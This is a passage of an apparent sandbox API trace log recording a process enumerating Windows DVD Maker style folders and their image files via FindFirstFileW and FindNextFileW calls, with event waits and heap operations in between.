ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0239.020] ResetEvent (hEvent=0x118) returned 1 [0239.020] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.027] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0239.027] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0239.027] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0239.028] ResetEvent (hEvent=0x118) returned 1 [0239.028] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.031] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0239.032] ResetEvent (hEvent=0x118) returned 1 [0239.033] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.040] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.040] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.041] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.041] ResetEvent (hEvent=0x118) returned 1 [0239.041] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.048] ResetEvent (hEvent=0x118) returned 1 [0239.048] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.242] ResetEvent (hEvent=0x118) returned 1 [0239.242] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.251] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.252] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.252] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0239.252] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0239.253] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0239.255] GetProcessHeap () returned 0x560000 [0239.255] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0239.255] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.255] ResetEvent (hEvent=0x118) returned 1 [0239.255] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.259] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0239.259] ResetEvent (hEvent=0x118) returned 1 [0239.259] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.264] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.265] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0239.265] ResetEvent (hEvent=0x118) returned 1 [0239.266] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.269] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0239.269] GetProcessHeap () returned 0x560000 [0239.269] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0239.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0239.272] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.272] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0239.272] ResetEvent (hEvent=0x118) returned 1 [0239.272] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.278] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0239.278] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0239.278] ResetEvent (hEvent=0x118) returned 1 [0239.278] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.289] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0239.289] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.289] ResetEvent (hEvent=0x118) returned 1 [0239.289] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.296] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.296] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.300] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.301] ResetEvent (hEvent=0x118) returned 1 [0239.301] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.403] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.404] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.404] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0239.404] ResetEvent (hEvent=0x118) returned 1 [0239.405] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.415] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0239.416] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0239.419] GetProcessHeap () returned 0x560000 [0239.419] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0239.419] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0239.419] GetProcessHeap () returned 0x560000 [0239.419] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0239.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0239.422] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.422] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0239.422] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0239.422] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0239.423] ResetEvent (hEvent=0x118) returned 1 [0239.423] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.431] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0239.431] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.432] ResetEvent (hEvent=0x118) returned 1 [0239.432] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.435] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, 